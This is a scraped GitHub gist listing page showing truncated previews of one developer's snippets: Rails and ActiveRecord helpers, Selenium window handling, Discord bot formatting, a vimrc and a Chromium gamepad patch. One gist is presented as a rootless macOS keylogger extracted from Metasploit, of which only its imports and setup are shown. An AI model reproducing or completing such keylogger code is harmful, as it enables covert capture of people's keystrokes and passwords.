Skip to content

Instantly share code, notes, and snippets.

gem 'rails', github: 'rails/rails'
require 'active_record'
`dropdb bug_1; createdb bug_1`
ActiveRecord::Base.establish_connection(
adapter: 'postgresql',
database: 'bug_1',
host: 'localhost',
@localhostdotdev
localhostdotdev / relative-past-time.rb
Last active February 24, 2019 22:33
Get relative time in the past (with a shorter output option)
class RelativeTime
MINUTE = 60
HOUR = 60 * MINUTE
DAY = 24 * HOUR
WEEK = 7 * DAY
MONTH = 4 * WEEK
YEAR = 12 * MONTH
def self.for(date_to, date_from = Time.zone.now, short: false)
diff = (date_from.to_time - date_to.to_time).round
@localhostdotdev
localhostdotdev / macos-keylogger.rb
Last active February 25, 2019 15:07
Ruby macOS/OXS keylogger. Doesn't require root, just to be ran as a normal user. Extracted from metasploit. https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb
require 'thread'
require 'fiddle'
require 'fiddle/import'
SM_KCHR_CACHE = 38
SM_CURRENT_SCRIPT = -2
MAX_APP_NAME = 80
module Carbon
extend Fiddle::Importer
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@localhostdotdev
localhostdotdev / managing-windows-selenium-capybara.md
Last active March 1, 2019 00:58
Managing windows with Selenium / Capybara in Ruby

Capybara 3.13.2 / Ruby 2.5.0 / selenium-webdriver (3.141.0) / chromedriver-helper (2.1.0) / ChromeDriver 2.34.522932

Setup

require 'selenium-webdriver'
require 'capybara/dsl'

class C
 extend Capybara::DSL
From d014d5aea90694868859755f321c41f398bdd55c Mon Sep 17 00:00:00 2001
From: Matt Reynolds <mattreynolds@google.com>
Date: Wed, 13 Mar 2019 17:47:00 -0700
Subject: [PATCH] Improve support for Nintendo Switch gamepads
This adds support for Nintendo Switch controllers through Gamepad API:
* Switch Pro (USB and Bluetooth)
* Joy-Con L (Bluetooth)
* Joy-Con R (Bluetooth)
* Joy-Con L+R (Bluetooth)
@localhostdotdev
localhostdotdev / commands.rb
Created March 17, 2019 00:29
Handle errors in all Discord commands with discordrb (also formats those errors while only keeping the path in the stacktrace relative to the project's root) (only Rails.root is Rails-specific, rest is pure ruby)
module Discord
module Commands
extend Discordrb::Commands::CommandContainer
def self.handle_errors(e)
if e.is_a?(Discordrb::Errors::MessageTooLong)
"Message too long"
else
str = "#{Format.inline(e.message}\n"
str += Format.code(e.backtrace.grep(/#{Rails.root.to_s}/).map { |s| s.gsub(Rails.root.to_s, "") }.join("\n"))
@localhostdotdev
localhostdotdev / format.rb
Created March 17, 2019 00:31
Formats your strings for discord messages (with fixes around their buggy markdown) #discord #discordrb #ruby
class Format
ZERO_WIDTH = "​"
def self.i(str)
"_#{str}_"
end
def self.b(str)
"**#{str}**"
end
set tabstop=2 shiftwidth=2 expandtab
set autoindent
set smarttab
syntax on
set shell=/bin/bash
filetype off
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
@localhostdotdev
localhostdotdev / compare-select-pluck.rb
Last active March 18, 2019 12:54
Rails ActiveRecord#select vs #pluck, 5x faster (~20k records, 10 runs each)
class Utils
def self.compare(reports, n: 10)
Benchmark.bm do |x|
reports.each do |report|
if report.is_a?(Proc)
x.report { n.times { report.call } }
else
x.report(report.first) { n.times { report.last.call } }
end
end